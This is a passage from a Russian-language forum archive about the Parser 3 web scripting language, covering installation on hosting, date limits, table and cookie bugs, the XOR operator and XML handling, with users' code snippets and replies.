- нет ftp-клиента\
- не умеет переносить длинные строки\
\
HTML-Kit | http://www.chami.com/html-kit/ | 3195 Кб\
+ fw\
+ почти возможности HomeSite\
+ любые собственные модули\
- нет koi8-r (хотя может и модулем можно научить, не пробовал)\
"
"17147","с диапозоном возможных дат (с 01.01.1970 по 01.01.2038) в парсер на мой взгляд заложена ОГРОМАДНАЯ бомба с часовым механизмом, который создатели парсера уже запустили. Пользователи которые уже подсели на парсер или ещё подсядут потом всех его создателей проклянут вместе взятых :)! или до 2038 года будет ходить \"урезанная по возможностям демо-версия\" парсера, а потом он начнёт продаваться? :)))\
но с далёким будущим фиг с ним (к 2038 году PAF думаю выпустит какой-нибудь супер-навороченный \"Parser_38.0\" :)), а вот со старыми датам проблема уже сейчас есть :(\
\
Как мне быть допустим если я хочу обрабатывать даты рождения - сейчас получается, что тем кому больше 33 лет в Интернет (через Парсер) дорога закрыта. единственное можно извратиться написать модуль, который будетразбирать любую дату как строку и с его помощью обрабатывать все даты."
"17148","и идеи считать время в секундах с 1 января семидесятого года виноваты, а не PAF))))"
"17149","Типа\
[code]\
Версия Парсера - ^version[]\
[/code]"
"17150","Из документации:\
=======\
$emergency[^table::create{id   number \
fire   01 \
police   02 \
ambulance   03 \
gas      04 \
}] \
$fliped[^emergency.flip[]] \
^fliped.save[fliped.txt]\
\
В результате выполнения кода в файл fliped.txt будет сохранена такая таблица: \
\
0        1          2        3\
fire  police    ambulance   gas\
01      02         03        04\
========\
Проблема в следующем: после имени последнего столбца (\"3\") добавляется лишний \"таб\". Если затем:\
\
$test_hash[$fliped.fields]\
Число полей в хэше=^test_hash._count[]<br>\
\
, то в $test_hash появляется лишнее поле без имени.\
\
"
"17152","http://httpd.apache.org/"
"17153","На правах прикола:\
\
$file[^file::load[text;http://myownserver/cgi-bin/parser3.cgi/]]\
$version[$file.text]\
\
Только кажется это лишь с какой-то недавней версии.\
:-)"
"17155","[code]Misha? извени, что не согласился поучаствовать в тестровнии твоего класса для форума (банально - сейчас нет времени :))[/code]\
Прошу прощения, а что за класс, что-то пропустил? Ткните, плиз, мордой..."
"17156","Я полный ламер по работе на Парсере.Ну вот я скачал его, установил \
CGI без XML.И чо мне дальше-то делать?????Пожалуйста в подробностях, ведь вы объясняете ЛАМЕРУ:)"
"17157","Нужно из каждой строки созданной таблицы почистить лишние <табы>, они у тебя точно есть. Попробуй выделить текст кода и сам в этом убедишься."
"17158","Многие с этого начинали. Именно эти примеры как нельзя более подробно помогают понять основы программирования на Parser."
"17159","...лишних табов точно нет. Они появляются только после транспонирования Парсером. Проверено-перепроверено."
"17160","(.)необходимо: \
при открытии страницы, сразу после чтения тега </body> или </html>, страница прокручивается вниз до конца.\
(.)пробовал: \
   <body onLoad=\"scrollTo(0,10000); return false\">\
   ..<img src=\"http://...\">..\
   ..</body>\
-> работает, но не так как надо - прокручивает только после того, как загрузит все картинки... а мне надо чтоб сразу, ну надо так... \
-> КАК СДЕЛАТЬ?"
"17163","trouble в том, что формулируете непонятно.\
пожалуйста, приведите чистый текст письма с заголовками, \
1. что должно приходить, и \
2. что приходит. \
3. укажите, каких строк не хватает для счастья."
"17164","<body><span onLoad=\"scrollTo(0,10000); return false\" style=\"visibility:hidden;\"/>\
..<img src=\"http://...\">..\
</body>\
\
body ещё не загрузился, а span c onLoad'ом ужe...\
\
P.S. Такие вопросы надо задаватьв  форуме на dhtml.ru\
"
"17165","Чуваки скажите пожалуйста какой виртуальный сервер(ну там Magament console) лучше использовать и где его взять.\
\
И ещё работает ли PARSER 3.007 на бесплатных хостингах, если да то на каких?"
"17168","<span onLoad=\"scrollTo(0,10000); return false\" style=\"visibility:hidden\"> </span>\
\
Впредь буду задавать там (на dhtml.ru)... позвольте закончить эту тему здесь."
"17169","-"
"17170","Ты я думаю видишь вверху ссылку \"хостинги\"...\
А ещё берешь это самое слово и ищешь по форуму..."
"17171","попробуй загружать картинки через \"preload images\" и вставлять их тоже через JS (соответственно)"
"17173","(.)делаем маленький <img> он грузится и тянет (onLoad=\"scrollTo(0,10000); return false\") страницу вниз - это работает... можно сделать и прелоадом...\
(.)НО я хочу без этого... с чем еще это (onLoad=\"scrollTo(0,10000); return false\") может сработать...???"
"17174","При запросе _test.html Apache выдает вот такую штуку:\
-----\
The requested URL /home/rabbit/public_html/cgi-bin/parser3/_test.html was not found on this server.\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.\
-----\
причем на том хостинге cgi-bin точно работает: http://www.parser.ru/hosters/ruweb.net/1/\
а для усомнившихся в моей ламерности: на локальном Apache всё работает отлично."
"17175","Путь: /home/rabbit/public_html/cgi-bin/parser3/_test.html наводит лиш на одно, у вас что DOCUMENT_ROOT прописан в /home/rabbit/public_html/cgi-bin/parser3/ ???"
"17176","... человек твое мнение хочет услышать.\
имхо, в http://www.parser.ru/hosters/ реклама одна сплошная :)\
на халяве должно работать, где есть обработка .htaccess, правда не везде найдешь обработку ErrorDocument, хотя она и не всем нужна :).\
\
я вот на платном запустить не могу - вот это да! :/\
"
"17177","проверил из php:\
документ_рут = /home/rabbit/public_html\
а что от этого зависит? путь ведь абсолютный :)\
или сам парсер не видит где у меня докумен_рут?\
как нучить его?\
"
"17179","там информация о хостерах, которую прислали пользователи."
"17180","Я есть воооооообще бесплатный хостинг где работает ПАРСЕР"
"17181","и попробуйте перейти на более вежливое обращение к окружающим?"
"17182","живет Parser в /home/rabbit/public_html/cgi-bin/parser3.cgi на правах 755.\
в .htaccess'e \".cgi\" не указан (так же как и на локальном apache).\
в .htaccess'e текст полностью вставлен из документации к Parser'у. заменен только путь и закоментарена строка \"CharsetDisable On\", потому как русский Apache не используется ни в вебе ни на локале.\
"
"17183","посмотрите сами, есть несколько рекомендаций с одним шаблоном написания, даже ссылки на хоумпейдж одни и те же."
"17184","\"так же как и на локальном apache\" - это не аргумент.\
\
http://твой_сайт/cgi-bin/parser3.cgi - работает?\
"
"17185","если разговор идет про wpclub и ruweb то не вижу криминала, сайт хостился у одного провайдера, а затем у другого.\
\
собственно пользователь, предоставивший эту информацию (Andrey) об этом честно написал в описании второго места дислокации его сайта."
"17186","Народ помогите. Нужно обрабатывать строку. Если символ русской кодировки то выводить его красным цветом, если это английский символ то синим цветом"
"17188","$test_table[^table::create{id	number\
fire	01\
police	02\
ambulance	03\
gas	04\
}]\
$test_table[^test_table.flip[]]\
^test_table.save[test_table.txt]\
======\
\
test_table.txt:\
0	1	2	3	\
fire	police	ambulance	gas\
01	02	03	04\
=====\
Та же ерунда - после имени столбца \"3\" - еще один лишний \"таб\" :("
"17189","парсер всегда отвечает своей версией!\
может это как-то с документ_рутом связано?\
меня настораживает на этом хостинге, что cgi-bin в папке public_html находится - первый раз такое вижу!\
"
"17190","со стороны кажется, именно, что сообщения шаблонные!\
видимо дат добавления сообщений не хватает. думаю, их добавление всем бы помогло сориентироваться...\
\
PS. если научу парсер работать - тоже пришлю рецензию на хостера!\
"
"17191","да напиши parser3.cgi в .htaccess \
\
"
"17192","ответ браузера на пути\
/cgi-bin/parser3.cgi\
cgi-bin/parser3.cgi\
parser3.cgi\
-----\
Bad Request\
Your browser sent a request that this server could not understand.Invalid URI in request GET /_test.html HTTP/1.1\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. \
-----\
навождение какое-то..."
"17193","в таком виде:\
a) что вы пробуете в .htaccess\
b) что видите в error_log\
\
что вы видите в вашем browser'е малополезно."
"17194","-----\
в .htaccess\
/home/alekruw/public_html/cgi-bin/parser3.cgi\
в error.log\
[Mon Jun  2 18:56:41 2003] [error] [client ............] File does not exist: /home/rabbit/public_html/404.shtml\
[Mon Jun  2 18:56:41 2003] [error] [client ............] File does not exist: /home/rabbit/public_html/home/rabbit/public_html/cgi-bin/parser3.cgi/_test.html\
-----\
вывод: error.log надо смотреть, а не вопросы глупые задавать :)\
спасибо, всем еще раз!"
"17195","http://www.spearance.ru/parser3/regex/?no=10\
\
В твоем случае нужно так:\
[code]\
^str.match[\\b([а-я]+)\\b][gi]{<font color=\"red\">$match.1</font>}\
[/code]\
и второе правило:\
[code]\
^str.match[\\b([a-z]+)\\b][gi]{<font color=\"blue\">$match.1</font>}\
[/code]\
для английского языка \
\
Хотя эти правила не универсальны... Они подходят только в случаях когда нужно найти одиночные слова, а для выделения текстовых блоков нужны совсем другие."
"17197","input file вы сможете выбирать файлы на сервере, но тем не менее перенос файлов делается так\
http://www.parser.ru/docs/lang/filemove.htm"
"17198","где взять нормальный виртуальный сервер?\
\
\
P.S. PAF я стал вежлевее:)"
"17200","http://www.dklab.ru/chicken/web/\
Сойдёт для начала\
\
или вот ещё прикольная штука\
http://www.indigostar.com/microweb.htm"
"17202","Пробовал искать на форуме, нашел только что кто-то говорил о опечатке в Мануале... Дак вот...\
\
Создаю объект класса дата:\
\
#Это вручную\
$mydate[^date::create(2003;11;12)]\
\
#Потом для записи в DB есс-но делаю..\
$for_db[^mydate.sql-string[]]\
\
#Все ок, но когда пытаюсь создать объект вот таким образом:\
$mydate[^date::create($form:year;$form:month;$form:day)]\
\
#Фиг мне думаю нужно int тут а не string, ok, делаю так - все по \
#ману - где можно сразу как у DB, да еще предварительно переменные\
\
$myyear[$form:year]\
$mymonth[$form:month]\
$myday[$form:day]\
\
$mydate[^date::create[${myyear}-${mymonth}-${myday}]]\
\
#Дулю - ничего не выходит - ПОМОГИТЕ - как обойти это старое #заклятие?? =)\
\
\
\
\
"
"17205","Спасибо. Все работает как надо."
"17206","Сделал copy/paste вашего куска кода:\
[code]\
$mydate[^date::create($form:year;$form:month;$form:day)]\
\
=^mydate.sql-string[]=\
[/code]\
\
обратился к страничке:\
/_t.html?year=2002&month=3&day=4\
\
и не увидел никакой ошибки, а увидел выведеную дату."
"17207","Михаил, ты не мог бы рассказать, как у вас функционирует форма добавления сообщения в новом окне. Т.е. чтобы после поста закрывалась, а главное окно (parent) - обновлялось. Что-то не могу допереть :-)"
"17208","Все просто используется скрипт\
сохрани обе страницы и все увидишь."
"17209","Не знаю в чем разница вообще-то я POST`ом отправлял а так все верно.\
"
"17210","Мне нужно получить результат например 10 xor 12\
\
пробую $a(10#12) - не робит\
^eval(10#12) тоже пишет всегда 10\
\
Как мне Использовать XOR ??? "
"17211","#Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается#\
\
При всем этом выдается версия Parsera\
\
Есть ли толковое описание установки под RedHat 7.x \
"
"17212","пожалуйста, почитайте FAQ"
"17213","вы говорите, что не работает, я говорю, что работает.\
\
и?\
\
вы чего-то не договариваете, где-либо ошиблись, ожидаете какой-либо мистики, которая не происходит. ваш код расставит все точки..."
"17214","Есть поиск по доке. Зайти, набрать XOR, получить одну ссылку... Сложно?"
"17215","Я смотрел. Напишите пример."
"17216","ОДНА ЕДИНСТВЕННАЯ ССЫЛКА:\
#---- Вырезано с Доки -------\
Математические и логические операторы и их приоритеты \
\
Приоритеты операторов указаны в порядке возрастания. Возможна группировка выражений при помощи круглых скобок: \
   2+2*2=6, (2+2)*2=8. \
\
Арифметические операторы \
+   Сложение    \
-   Вычитание    \
*   Умножение    \
/   Деление    \
%   Остаток от деления.     \
\\   Целочисленное деление    \
\
Приоритеты \
- +  * / % \\    \
\
\
Побитовые операторы \
~   Побитовая инверсия NOT    \
#   Побитовая операция XOR     \
&   Побитовая операция AND     \
|   Побитовая операция OR     \
\
#----/ Вырезано с Доки -------\
\
Как применять??  Если $a(10+10) работает, то\
$a(10#10) - не работет\
\
"
"17217","в доке есть оператор xor (как побитовый, так и логический)\
\
вы пишите \"#\", однако данный символ в качестве оператора в текущей доке не упоминается (возможно, он есть в устаревшей pdf версии документации, с выкладыванием новой версии парсера она будет обновлена)\
\
когда я заменил в вашем $a(10#12) символ \"#\" на то, что упоминается в доке, все прекрасно заработало.\
\
P.S. где вы взяли эту доку, и от какой версии парсера она я к сожалению не знаю. я предлагал заглянуть в online версию документации, которая находится на этом сайте и по которой есть поиск. [url=\"/docs/lang/exprops.htm\"]ссылка на доку[/url]"
"17218","Дык я сначала так и написал - он меня на хер послал.\
"
"17220","1) Должна приходить как html страница,ведь я посылаю почту как $.html{...}\
\
Посылаю примерно так:\
[code]$.content-type[text/html^; charset=windows-1251]\
$.html{\
password = xxx\
<html>\
<head><title></title>\
</head>\
<body bgcolor=#FFDC95 topMargin=\"0\">\
\
<p align=center><FONT face=Arial color=#800000 size=3>Ежедневный<br>\
....\
}\
[/code]\
2)Так приходит просто имеменно сам текст html`а\
<html>\
<head><title></title>\
</head>\
<body bgcolor=#FFDC95 topMargin=\"0\">\
\
<p align=center><FONT face=Arial color=#800000 size=3>Ежедневный<br>\
...\
\
3) Хороший вопрос)\
Итого: Когда сам себе посылаю, все отлично, как только кидаю в рассылку - мне уже приходит просто голый html`овский текст.\
\
Заранее спасибо)\
\
"
"17221","\
Имеется:\
ftp адрес, куда я загоняю свой HTML.\
\
Требуется: \
Создать на этом месте динамически обноляемый с помощью Парсера сайт. Чтобы \"по многу раз не переписывать одно и то же\". Сайтик небольшой, но требует постоянного и каждодневного обновления - торгуем компами.\
\
У меня есть только ftp адрес и пароль. Закачиваешь туда странички - оно отображается. Больше ничего не знаю.\
Советы по установке Parserа вызывают (увы) лишь завистливое уважение (типа, могут же люди). \
\
Может, что посоветуете? Хотя бы вопрос, с которым можно к провайдеру обратиться?\
\
Заранее благодарен.\
\
"
"17222","Посмотрите, есть ли у вас папка cgi-bin.\
Есть? Если да, продолжаем.\
Залейте на сайт по ftp файл с именем \".htaccess\" и с содержанием \"в лесу родилась ёлочка\". Зайдите на любую страницу сайта браузером. Видите сообщение об \"Internal server error\" вместо страниц? Если да, прекрасно, сотрите .htaccess, продолжим.\
Создайте в папке cgi-bin каталог parser3 и залейте туда для начала версию парсера для linux со всеми прилагающимися файлами. Файлы библиотек доступа к базам данных и поддержки xml не нужны. Закачивайте parser3.cgi в binary transfer mode. Установите на файлы с помощью своей ftp-программы права 755. Теперь откройте в браузере http://www.yoursite.com/cgi-bin/parser3/parser3.cgi Увидели сообщение о версии программы? Отлично! Увидели вместо этого сообщение об ошибке на тему \"Forbidden\" - не судьба, значит. Увидели сообщение об Internal server error - попробуйте взять версию для freebsd - вдруг она, а не linux, установлена на  сервере?\
\
Если получилось, пишите - будем двигаться дальше. Не получилось и parser3.cgi ну никак не хочет запускаться на вашем сервере? Можно будет поставить parser на ваш личный компьютер, делать динамический сайт на нём, а потом его статичный snapshot вешать на сервер - тоже вариант..."
"17224","очевидно, ваша рассылка плохо справляется с таким письмом.\
\
и мелочь: content-type вы указываете неправильно и зря — вообще уберите эту строку.\
\
"
"17226","[b]динамически обноляемый[/b] - Нашли новое применение парсера, - динамическое мочилово :) (шутка)\
\
А если серъёзно, то нормально работать не зная что такое SQL, Apache и т.д. трудно, очень трудно, в конце концов вы начнёте это узнавать. Однако начинать ковыряться можно и не зная этих штук.\
\
От хостинга требуется только разрешение на запуск собственных скриптов, но упаси вас боже пользоваться бесплатными хостингами, - лучше почитайте о хостингах из соотв. раздела, ещё можно Зенон выбрать, Саня версия 2 запустил вроде там парсер 3.0007 без затырок."
"17230","Установил себе Денвер, все проверки проходят, а вот мои страницы, не работают, подскажите пжалста в чем может быть дело? И ещё не ставиться Parser 3 обработчиком страниц."
"17231","Ну епта! Конечно !| - работает, однако дока с сайта парсера\
parser3.chm - в формате виндовой справки... Я так понимал что читаю доку 3-ей версии парсера... =("
"17232","И еще, я вам клянусь в parser3.chm доке - стоят символы # и ##"
"17233","с января месяца лежит с !|"
"17234","- машина не ездит\
- как не ездит?\
- при езде скрипит правое колесо!"
"17235","Нашел вариант вот такой\
[CODE]\
@body[]\
$sec(3721)\
Время в сек. - $sec<BR>\
$ost(^eval($sec%3600))\
$hour(^eval($sec-$ost)/3600)\
$sec(^eval($ost%60))\
$min(^eval(($ost-$sec)/60))\
часы - $hour	<BR>\
минуты - $min	<BR>\
секунды - $sec	<BR>\
[/CODE]\
\
а есть ли что покороче."
"17236","Внимателно прочитай здесь - http://www.dklab.ru/chicken/web/ , может и найдеш проблему. У меня пошло сразу ;-)\
\
После создания новых хостов перегружай сервер"
"17237","$ost(^eval($sec%3600)) == $ost($sec%3600)\
\
P.S. круглые скобки означают, что в них - выражение..."
"17239","CVS для многих - темный лес. Нельзя-ли после исправления ошибок сразу же перекомпилировать Парсер и выложить в раздел \"скачать\"? "
"17240","у меня нет столько сил под всё компилить.\
найдите знакомого, пусть сделает.\
\
пока нет сил сделать автоматическую сборку."
"17241","Хочу найти качественный платный хостинг до 7 у. е. с PHP, CGI-BIN, .htaccess и MySQL.\
Что посоветуете?"
"17242","-"
"17243","http://www.parser.ru/forum/?id=17240 - кто может взять на себя труд скомпилить Парсер из CVS и выложить для скачивания? Нужна CGI для \"FreeBSD 4.7 (а также более ранние версии FreeBSD)\" версии с XML и без XML.\
\
ПОЖАЛУЙСТА!!!"
"17246","пытаюсь вызвать функцию format_str_regexp в sql запросе\
\
кусок кода:\
[code]\
PathList.Path RLIKE '.*^format_str_regexp[$form:srch][^^\\/]*^$'\
[/code]\
\
выдает ошибку\
method of MAIN (MAIN) accepts maximum 1 parameter(s)\
\
как правильно написать вызов функции в таком sql запросе ?"
"17249","то есть так писать нельзя в принципе что ли ?"
"17250","Когда будет Парсер нумба 3.1(ну там еще 3.0008 прцепом)\
А то уже следую советам Великого почистил как мог код прооптимизировал, но все же хоцца супе-рмега-классной работы с памятью и, пускай не много, новых фичей.\
Ежели чего - то киньте клич, допоможем, как токмо можем!"
"17251","у меня есть подозрение, что твой метод @format_str_regexp[] ожидает, что ему может приходить только один параметр (из приведенного фрагмента кода это не ясно)\
\
подобный вариант его вызова: ^format_str_regexp[$form:srch][^^\\/] - это вызов с двумя параметрами, вот он и возмущается.\
\
если кусок \"[^^\\/]\" - это просто текст, который должен добавиться к строке, возвращаемой твоим методом @format_str_regexp[] и таким образом у тебя составляется шаблон для rlike, то поставь птички перед квадратными скобками: \"^[^^\\/^]\"\
\
если-же это таки второй параметр для метода, то сделай так, чтобы метод его кушал..\
\
P.S. насколько было бы проще, если бы приводился весь код, имеющий отношение к делу.\
"
"17252","Я и ставил по этому руководству (и все проверки благополучно прошли), но сейчас, Parser3 не работает (даже если действовать по примеру, который приведен к инструкции на Parser3). Простите мне сегодняшнюю тупость, но вот такой вопрос: свой сайт в какую директорию выкладывать? c:/weservers/....? Видимо что-то я недопонимаю...."
"17253","Спасибо большое =)\
Разобрался, надо было галочки конечно поставить.\
Просто клин на меня какой то наехал и все .. =)"
"17254"," .htaccess  и как его создавать?!?"
"17257","majordomo.ru\
8 $ профессиональный\
\
правда глючит его иногда."
"17258","Привожу часть кода:\
\
[code]\
# Класс user\
#################\
@CLASS\
user\
\
# конструктор\
@load[]\
$sessions[^table::sql{\
                       select\
                             t_sessions.login,\
                             t_sessions.session_id,\
                             t_user.user_status,\
                             t_user.\
                       from\
                            t_sessions,\
                            t_users\
                       where\
                            t_sessions.login = 't_users.login'\
}]\
\
$sessions_hash[^sessions.hash[session_id]]\
\
#\
#\
#  Вообще весь код, кроме этой проблемы, работает нормально.\
#  Авторизация проходит, как надо.\
#  Тут медод проверки юзера, все нормально работет, куки создаются с\
#  правильным значением, пишется при успешной авторизации\
#  в базу данные новой сессии и т.д. и т.п.\
#\
#\
#\
\
\
# А вот тут проблема:\
Метод должен по значению куки выдавать логин данного юзера юзера\
@remote_user[]\
^if($cookie.session_id){\
$result[$sessions_hash.[$cookie.session_id].login]\
}{\
Куки отсутствуют!\
}\
\
# Коренной auto.p\
#################\
@USE\
user.p\
mysql.p\
\
operators.p\
\
@auto[]\
$sql_connect[bla-bla-bla]\
\
^sql_connect.server{\
$o_user[^user::load[]]\
# Глобальная переменная, содержащая логин юзера\
$REMOTE_USER[^o_user.remote_user[]]\
}\
\
@main[]\
\
^sql_connect.server{\
^1st_page[]\
}\
\
\
# Корневой index.html\
#####################\
\
@1st_page[]\
^if(есть кука.session_id и кука соответствует session_id в базе){\
# вызывается оператор @skiner[с названием скина]\
# он загружает название_скина.html\
^skiner[index]\
}{\
^logon_screen[]\
}\
[/code]\
\
А теперь суть:\
 \
на нижеследующей странице должно выводиться содержимое глобальной\
переменной $REMOTE_USER,\
но не выводится, так как в классе user метод [code]@remote_user[][/code]\
не находит куку!!! Пишет \"Куки отсутствуют!\"(см. выше)\
[code]\
# название_скина.html\
#####################\
# содержит след. код:\
\
Логин: $MAIN:REMOTE_USER\
<BR/>\
[/code]\
P.S.\
Если в методе [code]@remote_user[][/code] в ручную пишу правильное зачение куки,\
([code]$result[$sessions_hash.[значение_куки_руками_пишу].login][/code])\
то [code]$MAIN:REMOTE_USER[/code] показывает логин юзера"
"17259","то, что ты привел: $cookie.session_id - это обращение к полю session_id твоей переменной $cookie.\
\
Вот это - обращение к cookie с именем \"name\": $cookie:name"
"17260","а в коде у меня как положено:\
$cookie:session_id\
\
Проблема остается"
"17261","Возможно ли парсером вытащить информацию из HTTP заголовка  Accept-Language?\
\
Нужно для определения предпочитаемого клиентом языка."
"17262","=$cookie:session_id= \
\
выведется правильное значение этой куки?\
\
просто из кода не видно, как эта кука пишется, соответственно не очень понятно, если она или нету?\
\
P.S. знаки равенства я поставил не просто так... возможно затесался лишний пробел..."
"17264","самое интересное что я буквально в момент получения ответа сам до этого дошёл :)"
"17265","Вижу своими глазами!\
Создается при успешной авторизации методом @logon[] класса user:\
$cookie:session_id[\
              $.value[значение]\
              $.expires(3)\
]\
И одновременно такое же значение пишется в t_sessions\
\
затем рефрэш этой страницы. В корневом index.html проверяем, если кука, и кука верна, то загружаем скин главной страницы системы (но сейчас для отладки кода загружается скин с проверкой глобальной переменной $REMOTE_USER.\
\
Хочется, чтобы на любой странице с помощью глобальных переменных можно было бы вызывать любую инфу о текущем юзере системы"
"17266","Что если в коренном auto.p написать произвольный метод\
@test[]\
$MAIN:REMOTE_USER\
и вызвать его вместо скина в index.html при успешной авторизации,\
то кука ЧИТАЕТСЯ и ВЫДАЕТСЯ $MAIN:REMOTE_USER, как должно быть по плану.\
А из пользовательского класса (user) - нифига...типа нет куки..."
"17267","ты пытаешься добраться до куки в @auto[], там их еще нет, как нет и элементов $form:xxx\
\
причина: ожидается, что в одном из @auto[] кодер может определить charset, в соответствии с которым парсер будет перекодировать содержимое элементов форм и кук...\
\
решение: вынести инициализацию из @auto[]"
"17269","Здравствуйте! Подскажите плз. как заставить parser не преобразовывать <> в примитивы &lt &gt при создании TextNode? ^untain не работает. $new_Node[^source_doc.createTextNode[^untaint{$xml_code}]]"
"17270","Он всегда будет их преобразовывать, чтобы не нарушать XML стандарт. createElement[tagName]"
"17271","это описано в документации и в примерах"
"17272","если я вынесу инициализацию в @main[],то в моей глобальной переменной $REMOTE_USER, которая в auto[], вызов метода объекта $o_user не катит, т.к. в момент вызова этого метода конструктор еще не сформировал объект $o_user.\
\
А если вызывать статический метод класса user (^user:remote_user[])?\
\
 "
"17273","там есть одно условие. Сайт должен пропогандировать flash.\
http://flashmaster.ru/"
"17274","Представляю самую простую из тех что у меня имеются галерей\
http://spearance.tura.ru/parser3/gallery/\
Все подробности внутри.\
Не претендую на уникальность просто хочу показать начинающим, что и такое на Parser возможно."
"17275","в @auto[] куки и элементы форм еще не доступны.\
\
понятное дело, что просто так вынести это из @auto[] не получится, нужно будет переделывать взаимодействие... как именно его переделывать, я не могу посоветовать, т.к. для этого нужно вникать в суть кода..."
"17276","Молодец. Правда нормальная (читай хорошая) галлерея. \
Жаль только, что не может Парсер работать с рисованием в *.жпг, а то бы можно было рисовать внизу \
[code]\
Разработка на Parser 3 [u]only[/u]\
[/code]\
Только что, исходников не будет?\
Я не настаиваю, просто интересно как там оно выглядит изнутри.\
Хотя, судя по всему внутри все ОК."
"17277","поставил парсер(хостинг мастерхост) по первому уроку(только начинаю изучать) начинаю собирать файлы, фсё собираю методом copy/paste пытаюсь просмотреть, а мне лепят ошибку: в чем может быть баг?\
\
/home/u9967/racermag.ru/www/aa/auto.p(7): 'uri' column not found  type: parser.runtime\
\
"
"17281","А если серьезно - есть разные сайты. Одни большие и толстые - для них \"С\". Другие ограничены по месту на диске - для низ \"без\"."
"17282","мой мыл: ze_fobos@mail.ru\
Срочно\
Олег."
"17283","именно нужен parser ...:))\
это так на всяк случай..."
"17284","То, что парсер не может на jpg писать - не проблема, ImageMagick легко с этим справляется.\
Исходники этого релиза будут выложены тогда, когда будет полностью готов следующий.\
То, что в исходниках все ок - не факт. Ресайз и сохранение картинок вчера были мной переписаны и сформированы в класс. Так же полностью переработан механизм вывода картинок. Из 240 строк он стал 126 и я точно знаю что это еще не предел, можно еще сократить.\
Так же я предполагаю сделать такую же галерею с использованием MySQL, для любителей баз данных.\
\
В следующей версии 1.2\
- Добавится возможность сохранения сразу нескольких файлов\
- Добавится возможность сохранения картинок по разделам с любой степенью вложенности\
- Добавится сортировка картинок по любым параметрам\
- Добавится статистика просмотра картинки\
- Добавится вывод иконки с расширением файла\
и много что еще по мелочам, думаю все это будет в описании\
"
"17286","Вот тут гляньте, если не сложно... тоже галерея :)\
http://gallery.rubtsovsk.ru/gallery/author/"
"17288","\"база\" движка пишется за полдня, это я еще считаю со всеми перерывами на кофе и аску =).\
дальше только то, что тебе взбредет в голову(но надо всеже помнить об ограничении технологии - не надо делать из парсера 2-й фотошоп)."
"17290","Увеличенные картинки лучше выводить в том же окне, а не создавать новое. Если изначально предполагалось, что картинки будут выводиться маленькими, то зачем открывать большое окно.\
Было бы не плохо в случае с окном видеть в заголовке информацию о картинке."
"17291","*"
"17293","Пробовал записывать куку и следом ее читать. Читается все равно, даже при отключенных(тестировалось Op6.5, Op7.10, NN6).\
\
Вопрос: Реально ли это вообще, сделать такую проверку?"
"17294","Сохрани на странице куку, а потом сделай внешний редирект, и проверяй наздоровье. Если не нашел, значит отключены."
"17295","попробуйте набрать sections.cfg самостоятельно, расставляя табуляцию вручную.\
\
если всё равно не работает, можете показать нам (copy + paste в форум) содержимое вашего sections.cfg, выглядеть оно должно примерно так:\
[code]\
section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
3	Контакты	/contacts/\
4	Цены	/price/\
5	Ваше мнение	/gbook/\
[/code]\
\
см. [url=\"http://www.parser.ru/forum/info.html\"]команды форматирования[/url] "
"17297","то есть поставил парсер на сервер(фриБСД) ковыряю _test.html а он мне пишет:\
\
mysql $sqldriversdir/libparser3mysql.so (52608 байт) libmysqlclient.so (не найден) \
\
соответсвенно вопрос нужно ли libmysqlclient.so и где его тогда искать? Спасибо.\
"
"17298","Должен лежать в /путь/к/mysql/на/сервере/lib/ "
"17300","то есть мне вообще не разрешено смотреть что и где стоит. А этот модуль критически важен?"
"17301","Этот файл требуется для работы с MySQL."
"17302","Здравствуйте! У кого нибудь есть пример?\
\
Спасибо!"
"17303","Ситуация похожа на ту, которую описал Ivan.Rublev. \
Последствия идентичные. Я бы и рад обойтись одним XSLT,\
но решение усгубляется тем, что из одного XML-файла берется значение \"id\", а из другого надо достать информацию этому \"id\" соответствующую.\
\
\
\
Есть книга стихов в XML-файле:\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!DOCTYPE book SYSTEM 'Book.dtd'>\
<book> ШАМИЛЬ АБРЯРОВ НА ПРОСВЕТ ....\
<book-body>\
<verse id=\"petiplakat\">\
  <verse-title display-off=\"yes\">Ах, откровенно петь и плакать</verse-title>\
  <verse-body>\
  Ах, откровенно петь и плакать,\
  Болеть за тех, кою  люблю!...\
  Но в эту сумрачную слякоть\
  Не прорубиться кораблю.\
  ....\
  </verse-body>\
</verse>\
<verse id=\"teutra\">\
  <verse-title>ТЕ УТРА...</verse-title>\
  <verse-body>\
    ....\
  </verse-body>\
</verse>\
\
<!-- далее в том же духе друг за другом идут стихотворения -->\
\
</book-body>\
</book>\
\
\
\
Есть другой файл(ы) XML. Описание компакт-диска.\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<CD>\
<CD-title>Пирог со свечами</CD-title>\
\
<CD-track>\
<CD-track-title>Для того, чтоб сказать тебе (Я звоню:)</CD-track-title>\
<CD-track-verse id='dlyatogochtobskazattebe'/>\
</CD-track>\
\
<CD-track>\
<CD-track-title>Пирог со свечами</CD-track-title>\
<CD-track-verse id='pirogsosvechami'/>\
</CD-track>\
\
<!-- подобно и остальные песни -->\
\
</CD>\
\
\
\
\
Диски разные, песни повторяются и порой под разными именами.\
Хотелось по <CD-track-verse id='???'/> восстановить текст песни\
из первого файла (книги).\
\
$cddoc[^xdoc::load[pie.xml]]\
$vdoc[^xdoc::load[/verses/na-prosvet-book.xml]]\
$TrackList[^cddoc.documentElement.getElementsByTagName[CD-track-verse]]\
^TrackList.foreach[key;tracknode]{ \
    $id[^tracknode.getAttribute[id]]\
    $Verse[^vdoc.getElementById[$id]] \
    $verse-body[^Verse.getElementsByTagName[verse-body]]\
\
\
После предпоследней строки манипуляции с $Verse приводят к ошибке\
\
Unhandled Exception (Debug)\
string method not found\
getElementsByTagName\
\
\
\
"
"17304","Хостинг www.net.ru\
\
Веб-пространство содержится в /html, парсер лежит в /html/cgi-bin, серверные логи записываются в /logs. Как можно внутри парсерного скрипта открыть эти самые логи?"
"17305","примерно так:\
[code]\
$dir[^file:list[/../../logs/]]\
\
^dir.menu{\
	$dir.name\
}\
[/code]\
\
P.S. смотрю из своего корня веб пространства (/html/-/)\
в директорию /logs/"
"17306","/../ - переход на один уровень вверх :)"
"17307","при запуске выдаёт:\
[code]\
Parser/3.0.HEAD Copyright(c) 2001, 2003 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./src/targets/cgi/parser3 [options] file\
Options are:\
